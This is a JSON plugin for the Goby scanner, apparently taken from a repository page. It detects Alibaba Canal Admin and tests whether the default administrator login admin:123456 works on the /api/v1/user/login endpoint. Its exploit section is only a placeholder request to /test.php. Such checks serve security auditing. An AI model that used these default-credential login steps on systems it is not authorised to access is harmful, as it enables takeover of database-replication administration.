Goby/json/alibaba_canal_default_passw...

135 lines
5.2 KiB
JSON
Raw Normal View History

2022-11-25 02:08:58 -08:00
{
"Name": "Alibaba Canal Default Password",
"Level": "2",
"Tags": [
"defaultaccount"
],
"GobyQuery": "title=\"Canal Admin\" || body=\"Canal Admin Login\"",
"Description": "Alibaba Canal is Incremental log parsing based on MySQL database, providing incremental data subscription and consumption.",
"Product": "Alibaba Canal",
"Homepage": "https://github.com/alibaba/canal",
"Author": "",
"Impact": "Alibaba Canal has a default password vulnerability, an attacker can use the administrator account admin:123456 login.",
"Recommendation": "Modify Alibaba Canal administrator's default password.",
"References": [
"https://github.com/alibaba/canal/wiki/ClientAdapter"
],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/api/v1/user/login",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "com.alibaba.otter.canal.admin.controller.UserController.login",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
},
{
"Request": {
"method": "POST",
"uri": "/api/v1/user/login",
"follow_redirect": false,
"header": {
"Content-Type": "application/json"
},
"data_type": "text",
"data": "{\"username\":\"admin\",\"password\":\"123456\"}",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "{\"code\":20000,",
"bz": "\"data\":{\"token\""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
}